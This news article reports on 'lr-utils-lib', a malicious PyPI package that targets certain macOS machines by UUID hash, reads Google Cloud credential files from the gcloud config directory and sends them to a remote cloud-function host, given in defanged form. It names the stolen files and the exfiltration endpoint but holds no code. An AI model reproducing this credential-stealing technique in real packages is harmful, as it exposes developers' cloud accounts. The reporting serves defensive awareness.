Deceptive PyPI Package Aims at macOS to Acquire Google Cloud Access
Security experts have unveiled a malevolent bundle on the Python Package Index (PyPI) database that directly aims at Apple macOS systems to filch users’ Google Cloud logins from a specific group of targets.
The bundle, labeled “lr-utils-lib,” amassed a total of 59 installations before it was removed. The upload took place in the early days of June 2024.
“The malicious software leverages a set of preset hashes to pinpoint specific macOS devices and endeavors to gather Google Cloud validation information,” remarked Yehuda Gelb, a researcher at Checkmarx, in a report issued on Friday. “The harvested credentials get dispatched to a distant server.”
An essential characteristic of the bundle is that it initially verifies its existence on a macOS system, and only after that proceeds to juxtapose the system’s Universally Unique Identifier (UUID) against a pre-set list of 64 hashes.
If the infected device falls within the specified selection, it endeavors to retrieve two particular files, namely application_default_credentials.json and credentials.db, stored in the ~/.config/gcloud directory, housing Google Cloud validation details.
The gathered data is subsequently transmitted via HTTP to a remote server at “europe-west2-workload-422915[.]cloudfunctions[.]net.”
Checkmarx also uncovered a fabricated profile on LinkedIn attributed to “Lucid Zenith,” mirroring the package’s possessor and falsely asserting to be the CEO of Apex Companies, hinting at a probable social engineering angle to the assault.
The mastermind behind this offense remains unidentified at this point. Nevertheless, this follows more than sixty days post the disclosure by security firm Phylum regarding another supply chain assault involving a Python package named “requests-darwin-lite” that likewise initiated its malevolent plans subsequent to UUID verification on macOS hosts.
These offensives indicate that threat actors possess prior insights into the macOS setups they target for infiltration and are extending great efforts to ensure that the harmful bundles are dispensed exclusively to those particular machines.
It signals the strategies malevolent actors deploy to circulate imitation bundles, with the goal of tricking developers into integrating them within their applications.
“The key targets might not be clear, whether aimed at individuals or corporations, these assaults could have a considerable impact on organizations,” Gelb iterated. “Although the initial breach generally commences on an individual developer’s device, the stakes for corporations could be momentous.”
About Author
